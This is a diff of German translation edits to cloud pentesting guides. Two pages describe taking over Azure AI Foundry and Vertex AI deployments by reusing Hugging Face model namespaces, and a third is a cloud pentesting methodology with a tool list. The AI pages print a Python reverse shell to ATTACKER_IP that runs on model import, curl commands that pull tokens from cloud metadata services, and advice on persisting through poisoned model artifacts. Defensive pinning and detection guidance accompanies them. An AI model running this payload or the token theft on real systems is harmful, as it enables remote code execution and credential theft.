Translated ['', 'src/pentesting-ci-cd/github-security/abusing-github-act

src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md

@@ -4,15 +4,15 @@
 
 ## Szenario
 
-- Der Azure AI Foundry Model Catalog enthält viele Hugging Face (HF)-Modelle zur Bereitstellung per Ein-Klick.
-- HF-Modellkennungen sind Author/ModelName. Wenn ein HF-Author/Org gelöscht wird, kann jeder diesen Author neu registrieren und ein Modell mit demselben ModelName unter dem Legacy-Pfad veröffentlichen.
-- Pipelines und Kataloge, die nur nach Name ziehen (kein commit pinning/integrity), werden auf vom Angreifer kontrollierte Repos aufgelöst. Wenn Azure das Modell deployt, kann Loader-Code in der Endpoint-Umgebung ausgeführt werden und RCE mit den Rechten dieses Endpoints ermöglichen.
+- Der Azure AI Foundry Model Catalog enthält viele Hugging Face (HF) Modelle für One-Click-Bereitstellungen.
+- HF model identifiers are Author/ModelName. Wenn ein HF author/org gelöscht wird, kann jeder diesen Author neu registrieren und ein Modell mit demselben ModelName am legacy path veröffentlichen.
+- Pipelines und Kataloge, die nur nach Name pullen (kein commit pinning/integrity), werden auf vom Angreifer kontrollierte Repos aufgelöst. Wenn Azure das Modell deployed, kann Loader-Code in der Endpoint-Umgebung ausgeführt werden und RCE mit den Berechtigungen dieses Endpoints ermöglichen.
 
 Häufige HF-Takeover-Fälle:
-- Löschung des Eigentümers: Alter Pfad 404 bis zur Übernahme.
-- Übertragung der Eigentümerschaft: Alter Pfad leitet mit 307 zum neuen Author, solange der alte Author existiert. Wenn der alte Author später gelöscht und neu registriert wird, bricht die Weiterleitung und das Repo des Angreifers wird am Legacy-Pfad ausgeliefert.
+- Ownership deletion: Alter Pfad 404 bis zur Übernahme.
+- Ownership transfer: Alter Pfad 307 zum neuen Author, solange der alte Author existiert. Wenn der alte Author später gelöscht und neu registriert wird, bricht die Weiterleitung und das Angreifer-Repo wird am Legacy-Pfad ausgeliefert.
 
-## Identifizierung wiederverwendbarer Namespaces (HF)
+## Identifying Reusable Namespaces (HF)
 ```bash
 # Check author/org existence
 curl -I https://huggingface.co/<Author>        # 200 exists, 404 deleted/available
@@ -23,12 +23,12 @@ curl -I https://huggingface.co/<Author>/<ModelName>
 ```
 ## End-to-End-Angriffsablauf gegen Azure AI Foundry
 
-1) Im Model Catalog HF-Modelle finden, deren ursprüngliche Autoren auf HF gelöscht oder übertragen wurden (alter Autor entfernt).
-2) Den verlassenen Autor auf HF neu registrieren und den ModelName wiederherstellen.
-3) Ein bösartiges repo veröffentlichen mit loader code, der beim import ausgeführt wird oder trust_remote_code=True erfordert.
-4) Den Legacy-Author/ModelName aus Azure AI Foundry deployen. Die Plattform zieht das attacker repo; der loader wird im Azure endpoint-Container/VM ausgeführt und führt zu RCE mit endpoint permissions.
+1) Im Model Catalog HF-Modelle finden, deren ursprüngliche Autoren auf HF gelöscht oder übertragen wurden (alter Author entfernt).
+2) Den verlassenen Author auf HF erneut registrieren und den ModelName neu erstellen.
+3) Ein bösartiges repo veröffentlichen mit Loader-Code, der beim Import ausgeführt wird oder trust_remote_code=True erfordert.
+4) Die legacy Author/ModelName in Azure AI Foundry deployen. Die Plattform zieht das Angreifer-repo; der Loader führt im Azure Endpoint-Container/VM aus und erzielt RCE mit den Berechtigungen des Endpunkts.
 
-Beispiel payload-Fragment, das beim import ausgeführt wird (nur zur Demonstration):
+Beispielhaftes Payload-Fragment, das beim Import ausgeführt wird (nur zur Demonstration):
 ```python
 # __init__.py or a module imported by the model loader
 import os, socket, subprocess, threading
@@ -46,47 +46,47 @@ if os.environ.get("AZUREML_ENDPOINT","1") == "1":
 threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
 ```
 Hinweise
-- AI Foundry-Deployments, die HF integrieren, klonen typischerweise Repo-Module, auf die in der Model-Konfiguration verwiesen wird (z. B. auto_map), was code execution auslösen kann. Manche Pfade erfordern trust_remote_code=True.
-- Der Zugriff entspricht normalerweise den managed identity/service principal permissions des Endpoints. Betrachte ihn als initial access foothold für data access und lateral movement innerhalb von Azure.
+- AI Foundry-Deployments, die HF integrieren, klonen und importieren typischerweise Repo-Module, die in der Konfiguration des Modells referenziert werden (z. B. auto_map), was Codeausführung auslösen kann. Für einige Pfade ist trust_remote_code=True erforderlich.
+- Der Zugriff entspricht in der Regel den Berechtigungen der managed identity/service principal des Endpunkts. Behandle ihn als Initial-Access-Foothold für Datenzugriff und laterale Bewegung innerhalb von Azure.
 
 ## Post-Exploitation Tipps (Azure Endpoint)
 
-- Enumeriere Umgebungsvariablen und MSI endpoints nach Tokens:
+- Enumeriere Environment-Variablen und MSI-Endpunkte nach Tokens:
 ```bash
 # Azure Instance Metadata Service (inside Azure compute)
 curl -H "Metadata: true" \
 "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
 ```
-- Überprüfen Sie gemounteten Speicher, Modellartefakte und erreichbare Azure-Dienste mit dem erhaltenen Token.
-- Erwägen Sie persistence, indem Sie poisoned model artifacts hinterlassen, falls die Plattform erneut von HF abruft.
+- Überprüfe eingebundenen Speicher, Modellartefakte und erreichbare Azure-Dienste mit dem erlangten Token.
+- Erwäge persistence, indem du vergiftete Modellartefakte hinterlässt, falls die Plattform Modelle erneut von HF abruft.
 
-## Verteidigungsempfehlungen für Azure AI Foundry-Nutzer
+## Verteidigungshinweise für Azure AI Foundry-Nutzer
 
-- Modelle beim Laden aus HF anhand des Commits pinnen:
+- Modelle beim Laden von HF nach Commit pinnen:
 ```python
 from transformers import AutoModel
 m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
 ```
-- Spiegle geprüfte HF models in ein vertrauenswürdiges internes Registry und stelle sie von dort bereit.
-- Scanne kontinuierlich Codebasen und defaults/docstrings/notebooks nach hartkodierten Author/ModelName, die gelöscht/übertragen wurden; aktualisiere oder pinne.
-- Überprüfe die Existenz des author und die Modellprovenienz vor der Bereitstellung.
+- Spiegeln Sie geprüfte HF-Modelle in ein vertrauenswürdiges internes Registry und stellen Sie sie von dort bereit.
+- Scannen Sie kontinuierlich Codebasen und defaults/docstrings/notebooks nach hartkodierten Author/ModelName, die gelöscht/übertragen wurden; aktualisieren oder pinnen.
+- Validieren Sie die Existenz des author und die Provenienz des Modells vor der Bereitstellung.
 
 ## Erkennungsheuristiken (HTTP)
 
-- Gelöschter author: author page 404; legacy model path 404 bis zur Übernahme.
-- Übertragenes Modell: legacy path 307 zum neuen author, während der alte author noch existiert; wird der alte author später gelöscht und neu registriert, liefert der legacy path Angreifer-Inhalte.
+- Gelöschter author: author-Seite 404; legacy model path 404 bis zur Übernahme.
+- Übertragenes Modell: legacy path 307 auf neuen author, während der alte author existiert; wenn der alte author später gelöscht und neu registriert wird, liefert der legacy path Angreifer-Inhalte.
 ```bash
 curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
 ```
 ## Querverweise
 
-- Siehe ausführlichere Methodik- und Supply-Chain-Hinweise:
+- Siehe die umfassendere Methodik und Hinweise zur Lieferkette:
 
 {{#ref}}
 ../../pentesting-cloud-methodology.md
 {{#endref}}
 
-## Quellen
+## Referenzen
 
 - [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
 - [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)

src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md

@@ -4,20 +4,20 @@
 
 ## Szenario
 
-- Vertex AI Model Garden erlaubt die direkte Bereitstellung vieler Hugging Face (HF) Modelle.
-- HF model identifiers are Author/ModelName. Wenn ein Autor/Org auf HF gelöscht wird, kann derselbe Autorenname von jeder Person neu registriert werden. Angreifer können dann ein repo mit demselben ModelName am legacy path anlegen.
-- Pipelines, SDKs oder cloud catalogs, die nur nach Name abrufen (kein pinning/integrity), ziehen das attacker-controlled repo. Wenn das Modell bereitgestellt wird, kann loader code aus diesem repo im Vertex AI endpoint container ausgeführt werden und RCE mit den Berechtigungen des Endpunkts ermöglichen.
+- Der Vertex AI Model Garden ermöglicht die direkte Bereitstellung vieler Hugging Face (HF)-Modelle.
+- HF model identifiers sind Author/ModelName. Wenn ein Author/Org auf HF gelöscht wird, kann derselbe Autorenname von jedem neu registriert werden. Angreifer können dann ein Repo mit demselben ModelName am Legacy-Pfad erstellen.
+- Pipelines, SDKs oder Cloud-Kataloge, die nur nach Name holen (kein Pinning/keine Integritätsprüfung), werden das von Angreifern kontrollierte Repo ziehen. Wenn das Modell bereitgestellt wird, kann Loader-Code aus diesem Repo innerhalb des Vertex AI Endpoint-Containers ausgeführt werden und RCE mit den Berechtigungen des Endpoints ermöglichen.
 
-Zwei häufige Takeover-Fälle auf HF:
-- Ownership deletion: Alter Pfad liefert 404, bis jemand den Autor neu registriert und denselben ModelName veröffentlicht.
-- Ownership transfer: HF gibt 307-Redirects vom alten Author/ModelName an den neuen Autor aus. Wenn der alte Autor später gelöscht und vom Angreifer neu registriert wird, wird die Redirect-Kette unterbrochen und das repo des Angreifers am legacy path ausgeliefert.
+Zwei häufige Übernahmefälle auf HF:
+- Ownership deletion: Alter Pfad liefert 404, bis jemand den Autor erneut registriert und denselben ModelName veröffentlicht.
+- Ownership transfer: HF gibt 307 Redirects vom alten Author/ModelName zum neuen Author aus. Wenn der alte Author später gelöscht und von einem Angreifer neu registriert wird, ist die Redirect-Kette gebrochen und das Repo des Angreifers wird am Legacy-Pfad ausgeliefert.
 
-## Identifizierung wiederverwendbarer Namespaces (HF)
+## Identifizieren wiederverwendbarer Namespaces (HF)
 
-- Old author deleted: Die Seite für den Autor liefert 404; der model path kann bis zur Übernahme 404 zurückgeben.
-- Transferred models: Der alte model path gibt 307 an den neuen Besitzer zurück, solange der alte Autor existiert. Wenn der alte Autor später gelöscht und neu registriert wird, wird der legacy path auf das repo des Angreifers verweisen.
+- Alter Author gelöscht: die Seite des Authors liefert 404; der Modellpfad kann 404 zurückgeben, bis eine Übernahme erfolgt.
+- Transferierte Modelle: der alte Modellpfad gibt 307 auf den neuen Owner zurück, solange der alte Author existiert. Wenn der alte Author später gelöscht und neu registriert wird, wird der Legacy-Pfad auf das Repo des Angreifers aufgelöst.
 
-Schnelle Überprüfungen mit curl:
+Schnelle Prüfungen mit curl:
 ```bash
 # Check author/org existence
 curl -I https://huggingface.co/<Author>
@@ -28,24 +28,24 @@ curl -I https://huggingface.co/<Author>/<ModelName>
 # 307 = redirect to new owner (transfer case)
 # 404 = missing (deletion case) until someone re-registers
 ```
-## End-to-End-Angriffspfad gegen Vertex AI
+## End-to-End-Angriffsablauf gegen Vertex AI
 
-1) Discover reusable model namespaces that Model Garden lists as deployable:
-- Find HF models in Vertex AI Model Garden that still show as “verified deployable”.
-- Verify on HF if the original author is deleted or if the model was transferred and the old author was later removed.
+1) Entdecke wiederverwendbare Modell-Namespaces, die Model Garden als deploybar auflistet:
+- Finde HF-Modelle in Vertex AI Model Garden, die noch als “verified deployable” angezeigt werden.
+- Prüfe auf HF, ob der ursprüngliche Author gelöscht wurde oder ob das Modell übertragen wurde und der alte Author später entfernt wurde.
 
-2) Re-register the deleted author on HF and recreate the same ModelName.
+2) Registriere den gelöschten Author auf HF neu und erstelle denselben ModelName wieder.
 
-3) Publish a malicious repo. Include code that executes on model load. Examples that commonly execute during HF model load:
-- Seiteneffekte in __init__.py des repo
-- Benutzerdefinierte modeling_*.py- oder Verarbeitungscode, auf den in config/auto_map verwiesen wird
-- Codepfade, die trust_remote_code=True in Transformers-Pipelines erfordern
+3) Veröffentliche ein bösartiges repo. Füge Code hinzu, der beim Model-Load ausgeführt wird. Beispiele, die beim HF-Model-Load häufig ausgeführt werden:
+- Seiteneffekte in __init__.py des Repos
+- Benutzerdefinierte modeling_*.py- oder Verarbeitungscode, der von config/auto_map referenziert wird
+- Codepfade, die trust_remote_code=True in Transformers pipelines erfordern
 
-4) A Vertex AI deployment of the legacy Author/ModelName now pulls the attacker repo. The loader executes inside the Vertex AI endpoint container.
+4) Eine Vertex AI-Bereitstellung des Legacy Author/ModelName zieht nun das Angreifer-repo. Der Loader wird innerhalb des Vertex AI endpoint container ausgeführt.
 
-5) Payload establishes access from the endpoint environment (RCE) with the endpoint’s permissions.
+5) Die Payload stellt Zugriff aus der Endpoint-Umgebung (RCE) mit den Berechtigungen des Endpoints her.
 
-Example payload fragment executed on import (for demonstration only):
+Beispiel eines Payload-Fragments, das beim Import ausgeführt wird (nur zur Demonstration):
 ```python
 # Place in __init__.py or a module imported by the model loader
 import os, socket, subprocess, threading
@@ -62,44 +62,44 @@ subprocess.call(["/bin/sh","-i"])  # Or python -c exec ...
 if os.environ.get("VTX_AI","1") == "1":
 threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
 ```
-Hinweise
-- In der Praxis variieren Loader. Viele Vertex AI HF-Integrationen klonen und importieren Repo-Module, die in der Modellkonfiguration referenziert werden (z. B. auto_map), was Codeausführung auslösen kann. Manche Verwendungsszenarien erfordern trust_remote_code=True.
-- Der Endpoint läuft typischerweise in einem dedizierten Container mit begrenztem Umfang, ist aber ein valider erster Zugangspunkt für Datenzugriff und lateral movement in GCP.
+Notizen
+- Real-world loaders variieren. Viele Vertex AI HF Integrationen klonen und importieren Repo-Module, die in der model’s config referenziert werden (z. B. auto_map), was code execution auslösen kann. Einige Einsatzzwecke erfordern trust_remote_code=True.
+- Der Endpoint läuft typischerweise in einem dedizierten Container mit begrenztem Scope, stellt jedoch einen gültigen initial foothold für data access und lateral movement in GCP dar.
 
-## Post-Exploitation-Tipps (Vertex AI Endpoint)
+## Post-Exploitation Tips (Vertex AI Endpoint)
 
-Sobald Code im Endpoint-Container läuft, in Betracht ziehen:
-- Umgebungsvariablen und Metadaten auf credentials/tokens durchsuchen
-- Auf angeschlossenen Storage oder gemountete model artifacts zugreifen
-- Mit Google APIs über die service account identity interagieren (Document AI, Storage, Pub/Sub, etc.)
-- Persistence im model artifact, falls die Plattform das repo neu zieht
+Sobald code im Endpoint-Container läuft, erwägen:
+- Environment-Variablen und Metadaten nach credentials/tokens enumerieren
+- Zugriff auf angehängten Storage oder gemountete Modell-Artefakte
+- Mit Google APIs über die Service-Account-Identität interagieren (Document AI, Storage, Pub/Sub, etc.)
+- Persistenz im Modell-Artefakt, falls die Plattform das Repo erneut zieht
 
-Instanz-Metadaten aufzählen, falls zugänglich (abhängig vom Container):
+Instanz-Metadaten auflisten, falls zugänglich (abhängig vom Container):
 ```bash
 curl -H "Metadata-Flavor: Google" \
 http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
 ```
-## Empfehlungen zur Absicherung für Vertex AI-Benutzer
+## Defensive Hinweise für Vertex AI-Nutzer
 
-- Modelle per Commit in HF loaders pinnen, um eine stille Ersetzung zu verhindern:
+- Modelle per Commit in HF loaders pinnen, um stilles Ersetzen zu verhindern:
 ```python
 from transformers import AutoModel
 m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
 ```
-- Spiegeln Sie geprüfte HF-Modelle in ein vertrauenswürdiges internes Artefakt-Repository und stellen Sie sie von dort bereit.
-- Scannen Sie kontinuierlich Codebasen und Konfigurationen nach hartkodierten Author/ModelName, die gelöscht/übertragen wurden; aktualisieren Sie auf neue Namespaces oder pinnen Sie per Commit.
-- In Model Garden verifizieren Sie die Provenienz des Modells und die Existenz des Author vor der Bereitstellung.
+- Spiegle geprüfte HF models in ein vertrauenswürdiges internes Artifact-Store/Registry und stelle sie von dort bereit.
+- Scanne kontinuierlich Codebasen und Konfigurationen nach hartkodierten Author/ModelName, die gelöscht/übertragen wurden; aktualisiere auf neue Namespaces oder lege sie per Commit fest.
+- In Model Garden, prüfe die Modellherkunft und die Existenz des Authors vor der Bereitstellung.
 
 ## Erkennungsheuristiken (HTTP)
 
-- Deleted author: author page 404; legacy model path 404 until takeover.
-- Transferred model: legacy path 307 to new author while old author exists; if old author later deleted and re-registered, legacy path serves attacker content.
+- Deleted author: author page 404; legacy model path 404 bis zur Übernahme.
+- Transferred model: legacy path 307 zum neuen author, während der alte author noch existiert; wenn der alte author später gelöscht und neu registriert wird, liefert der legacy path attacker content.
 ```bash
 curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
 ```
 ## Querverweise
 
-- Siehe die umfassendere Methodik und Hinweise zur Lieferkette:
+- Siehe umfassendere Methodik- und Supply-Chain-Hinweise:
 
 {{#ref}}
 ../../pentesting-cloud-methodology.md

src/pentesting-cloud/pentesting-cloud-methodology.md

@@ -6,39 +6,39 @@
 
 ## Grundlegende Methodik
 
-Jede Cloud hat ihre Eigenheiten, aber allgemein gibt es ein paar **gemeinsame Dinge, die ein Pentester prüfen sollte**, wenn er eine Cloud-Umgebung testet:
+Jede Cloud hat ihre eigenen Besonderheiten, aber im Allgemeinen gibt es ein paar **gemeinsame Dinge, die ein pentester prüfen sollte**, wenn man eine Cloud-Umgebung testet:
 
-- **Benchmark-Checks**
-- Das hilft dir, **die Größe** der Umgebung und **die verwendeten Dienste** zu verstehen
-- Es ermöglicht dir auch, einige **schnelle Fehlkonfigurationen** zu finden, da du die meisten dieser Tests mit **automatisierten Tools** durchführen kannst
+- **Benchmark checks**
+- Dies hilft dir, die **Größe** der Umgebung und die **verwendeten Dienste** zu verstehen.
+- Es ermöglicht dir auch, einige **schnelle Fehlkonfigurationen** zu finden, da du die meisten dieser Tests mit **automatisierten Tools** durchführen kannst.
 - **Services Enumeration**
-- Wenn du die Benchmark-Tests korrekt durchgeführt hast, wirst du hier wahrscheinlich nicht viele weitere Fehlkonfigurationen finden, aber möglicherweise solche, die im Benchmark-Test nicht gesucht wurden.
-- Das ermöglicht dir zu wissen, **was genau** in der Cloud-Umgebung verwendet wird
-- Das hilft sehr in den nächsten Schritten
-- **Überprüfe exponierte Assets**
-- Das kann während des vorherigen Abschnitts gemacht werden; du musst **alles finden, was potenziell irgendwie ins Internet exponiert ist** und wie darauf zugegriffen werden kann.
-- Hier betrachte ich **manuell exponierte Infrastruktur** wie Instanzen mit Webseiten oder anderen offenstehenden Ports, und auch andere **cloud-managed Services, die konfiguriert** werden können, um exponiert zu sein (z. B. DBs oder buckets)
-- Dann solltest du prüfen, **ob diese Ressource exponiert werden kann oder nicht** (vertrauliche Informationen? Vulnerabilities? Fehlkonfigurationen im exponierten Service?)
-- **Berechtigungen prüfen**
-- Hier solltest du **alle Berechtigungen jeder Rolle/jedes Benutzers** innerhalb der Cloud herausfinden und wie sie verwendet werden
-- Zu **viele hochprivilegierte** (kontrollieren alles) Accounts? Generierte Keys, die nicht verwendet werden?... Die meisten dieser Prüfungen sollten bereits in den Benchmark-Tests gemacht worden sein
-- Wenn der Kunde OpenID oder SAML oder eine andere **federation** verwendet, musst du ihn möglicherweise um weitere **Informationen** bitten, **wie jede Rolle zugewiesen wird** (es ist nicht dasselbe, ob die Admin-Rolle einem Nutzer oder 100 zugewiesen ist)
-- Es reicht **nicht aus herauszufinden**, welche Benutzer **Admin**-Berechtigungen "\*:\*". Es gibt viele **andere Berechtigungen**, die je nach verwendeten Diensten sehr **sensibel** sein können.
-- Darüber hinaus gibt es **potentielle privesc**-Wege, die man durch Missbrauch von Berechtigungen verfolgen kann. All diese Dinge sollten berücksichtigt werden und **so viele privesc-Pfade wie möglich** sollten berichtet werden.
-- **Integrationen prüfen**
+- Wahrscheinlich findest du hier nicht viel mehr Fehlkonfigurationen, wenn du die Benchmark-Tests korrekt durchgeführt hast, aber du könntest einige finden, nach denen im Benchmark-Test nicht gesucht wurde.
+- Das ermöglicht dir herauszufinden, **was genau** in der Cloud-Umgebung verwendet wird.
+- Das hilft sehr bei den nächsten Schritten.
+- **Check exposed assets**
+- Das kann im vorherigen Abschnitt gemacht werden. Du musst **alles herausfinden, das potenziell irgendwie dem Internet ausgesetzt ist**, und wie darauf zugegriffen werden kann.
+- Hier meine ich **manuell exponierte Infrastruktur**, wie Instanzen mit Webseiten oder anderen offenen Ports, und auch **cloud managed services, die so konfiguriert werden können, dass sie exponiert sind** (z. B. DBs oder Buckets).
+- Dann solltest du prüfen, **ob diese Ressource exponiert werden kann oder nicht** (vertrauliche Informationen? Schwachstellen? Fehlkonfigurationen im exponierten Service?)
+- **Check permissions**
+- Hier solltest du **alle Berechtigungen jeder Rolle/jedes Benutzers** in der Cloud herausfinden und wie sie verwendet werden.
+- Zu viele **hoch privilegierte** (kontrollieren alles) Accounts? Generierte Keys werden nicht genutzt? ... Die meisten dieser Prüfungen sollten bereits bei den Benchmark-Tests durchgeführt worden sein.
+- Wenn der Kunde OpenID oder SAML oder eine andere **federation** verwendet, musst du ihn möglicherweise um weitere **Informationen** bitten, wie **jede Rolle zugewiesen wird** (es ist nicht dasselbe, ob die Admin-Rolle 1 Benutzer oder 100 Benutzern zugewiesen ist).
+- Es reicht **nicht aus herauszufinden**, welche Benutzer **admin**-Berechtigungen "*:*" haben. Es gibt viele **andere Berechtigungen**, die je nach genutzten Services sehr **sensibel** sein können.
+- Außerdem gibt es **potenzielle privesc**-Wege, die man durch Missbrauch von Berechtigungen verfolgen kann. All diese Dinge sollten berücksichtigt werden und **so viele privesc-Pfade wie möglich** sollten gemeldet werden.
+- **Check Integrations**
 - Es ist sehr wahrscheinlich, dass **Integrationen mit anderen Clouds oder SaaS** innerhalb der Cloud-Umgebung verwendet werden.
-- Bei **Integrationen der Cloud, die du auditierst**, mit anderen Plattformen solltest du mitteilen, **wer Zugriff hat, diese Integration (ab)zuusenzen** und du solltest fragen, **wie sensibel** die ausgeführte Aktion ist.\
-Zum Beispiel: Wer kann in einen AWS-Bucket schreiben, aus dem GCP Daten bezieht (frage, wie sensibel die Aktion in GCP ist, die diese Daten verarbeitet).
-- Bei **Integrationen innerhalb der Cloud, die du auditierst**, von externen Plattformen aus, solltest du fragen, **wer extern Zugriff hat, diese Integration (ab)zuusenzen** und prüfen, wie diese Daten verwendet werden.\
-Zum Beispiel: Wenn ein Service ein Docker-Image verwendet, das in GCR gehostet wird, solltest du fragen, wer Zugriff hat, dieses zu verändern und welche sensiblen Informationen und Zugriffe dieses Image erhält, wenn es innerhalb einer AWS-Cloud ausgeführt wird.
+- Für **Integrationen der Cloud, die du prüfst** mit anderen Plattformen solltest du mitteilen, **wer Zugriff hat, diese Integration (ab)zu nutzen**, und du solltest fragen, **wie sensibel** die ausgeführte Aktion ist.  
+Zum Beispiel: Wer kann in einen AWS-Bucket schreiben, aus dem GCP Daten bezieht (frage, wie sensibel die Verarbeitung dieser Daten in GCP ist).
+- Für **Integrationen innerhalb der Cloud, die du prüfst** von externen Plattformen solltest du fragen, **wer externen Zugriff hat, diese Integration (ab)zu nutzen**, und prüfen, wie diese Daten verwendet werden.  
+Zum Beispiel: Wenn ein Service ein Docker-Image verwendet, das in GCR gehostet wird, solltest du fragen, wer es ändern kann und welche sensiblen Informationen und Zugriffe dieses Image erhält, wenn es innerhalb einer AWS-Cloud ausgeführt wird.
 
-## Multi-Cloud-Tools
+## Multi-Cloud tools
 
 Es gibt mehrere Tools, die verwendet werden können, um verschiedene Cloud-Umgebungen zu testen. Die Installationsschritte und Links werden in diesem Abschnitt angegeben.
 
 ### [PurplePanda](https://github.com/carlospolop/purplepanda)
 
-Ein Tool, um **schlechte Konfigurationen und privesc path in Clouds und über Clouds/SaaS hinweg zu identifizieren.**
+Ein Tool, um **schlechte Konfigurationen und privesc-Pfade in Clouds und zwischen Clouds/SaaS zu identifizieren.**
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env
 
 ### [Prowler](https://github.com/prowler-cloud/prowler)
 
-Es unterstützt **AWS, GCP & Azure**. Prüfe, wie jeder Provider konfiguriert wird unter [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
+Es unterstützt **AWS, GCP & Azure**. Anleitungen zur Konfiguration der einzelnen Provider findest du unter [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
 ```bash
 # Install
 pip install prowler
@@ -146,7 +146,7 @@ done
 
 {{#tabs }}
 {{#tab name="Install" }}
-Lade und installiere Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Oder verwende Brew:
+Lade Steampipe herunter und installiere es ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Oder verwende Brew:
 ```
 brew tap turbot/tap
 brew install steampipe
@@ -194,7 +194,7 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
 ```
 </details>
 
-Um **andere GCP-Einblicke** zu prüfen (nützlich zur Aufzählung von Diensten), verwenden Sie: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
+Um **weitere GCP-Insights** (nützlich zur Aufzählung von Diensten) zu prüfen, verwende: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
 
 Um Terraform GCP-Code zu prüfen: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
 
@@ -225,7 +225,7 @@ cd steampipe-mod-aws-compliance
 steampipe dashboard # To see results in browser
 steampipe check all --export=/tmp/output4.json
 ```
-Um Terraform AWS-Code zu überprüfen: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
+Um Terraform AWS code zu überprüfen: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
 
 Weitere AWS-Plugins von Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
 {{#endtab }}
@@ -238,11 +238,11 @@ Es benötigt python2.7 und scheint nicht mehr gepflegt zu sein.
 
 ### Nessus
 
-Nessus verfügt über einen _**Audit Cloud Infrastructure**_ Scan, der folgende Plattformen unterstützt: AWS, Azure, Office 365, Rackspace, Salesforce. Für **Azure** sind einige zusätzliche Konfigurationen erforderlich, um eine **Client Id** zu erhalten.
+Nessus hat einen _**Audit Cloud Infrastructure**_-Scan, der Folgendes unterstützt: AWS, Azure, Office 365, Rackspace, Salesforce. Für **Azure** sind einige zusätzliche Konfigurationen erforderlich, um eine **Client Id** zu erhalten.
 
 ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
 
-Cloudlist ist ein **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) von Cloud Providers.
+Cloudlist ist ein **Multi-Cloud-Tool zum Erfassen von Assets** (Hostnamen, IP-Adressen) von Cloud-Anbietern.
 
 {{#tabs }}
 {{#tab name="Cloudlist" }}
@@ -265,7 +265,7 @@ cloudlist -config </path/to/config>
 
 ### [**cartography**](https://github.com/lyft/cartography)
 
-Cartography ist ein Python-Tool, das Infrastruktur-Assets und deren Beziehungen in einer intuitiven Graphansicht zusammenführt, die von einer Neo4j-Datenbank bereitgestellt wird.
+Cartography ist ein Python-Tool, das Infrastrukturressourcen und die Beziehungen zwischen ihnen in einer intuitiven Graph-Ansicht konsolidiert, die von einer Neo4j-Datenbank betrieben wird.
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography  \
 
 ### [**starbase**](https://github.com/JupiterOne/starbase)
 
-Starbase sammelt Assets und Beziehungen aus Diensten und Systemen, einschließlich Cloud-Infrastruktur, SaaS-Anwendungen, Sicherheitskontrollen und mehr, und stellt sie in einer intuitiven Graphansicht dar, die von der Neo4j-Datenbank unterstützt wird.
+Starbase sammelt Assets und Beziehungen aus Diensten und Systemen, einschließlich Cloud-Infrastruktur, SaaS-Anwendungen, Sicherheitskontrollen und mehr, in einer intuitiven Graph-Ansicht, die von der Neo4j-Datenbank unterstützt wird.
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -361,7 +361,7 @@ uri: bolt://localhost:7687
 
 ### [**SkyArk**](https://github.com/cyberark/SkyArk)
 
-Ermittelt die am höchsten privilegierten Benutzer in der gescannten AWS- oder Azure-Umgebung, einschließlich der AWS Shadow Admins. Verwendet powershell.
+Ermittelt die am höchsten privilegierten Benutzer in der gescannten AWS- oder Azure-Umgebung, einschließlich der AWS Shadow Admins. Es verwendet powershell.
 ```bash
 Import-Module .\SkyArk.ps1 -force
 Start-AzureStealth
@@ -372,15 +372,15 @@ Scan-AzureAdmins
 ```
 ### [Cloud Brute](https://github.com/0xsha/CloudBrute)
 
-Ein Tool, um die Infrastruktur, Dateien und Apps eines Unternehmens (Ziels) bei den führenden Cloud-Anbietern (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode) zu finden.
+Ein Tool, um die Infrastruktur, Dateien und Apps eines Unternehmens (Ziel) bei den größten Cloud-Anbietern (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode) zu finden.
 
 ### [CloudFox](https://github.com/BishopFox/cloudfox)
 
-- CloudFox ist ein Tool, um ausnutzbare Angriffspfade in Cloud-Infrastrukturen zu finden (derzeit werden nur AWS & Azure unterstützt; GCP kommt demnächst).
-- Es ist ein Enumeration-Tool, das manuelles pentesting ergänzen soll.
+- CloudFox ist ein Tool, um exploitable attack paths in Cloud-Infrastruktur zu finden (derzeit werden nur AWS & Azure unterstützt; GCP folgt).
+- Es ist ein enumeration tool, das manuelle pentesting ergänzt.
 - Es erstellt oder verändert keine Daten innerhalb der Cloud-Umgebung.
 
-### Weitere Listen von Cloud-Sicherheits-Tools
+### More lists of cloud security tools
 
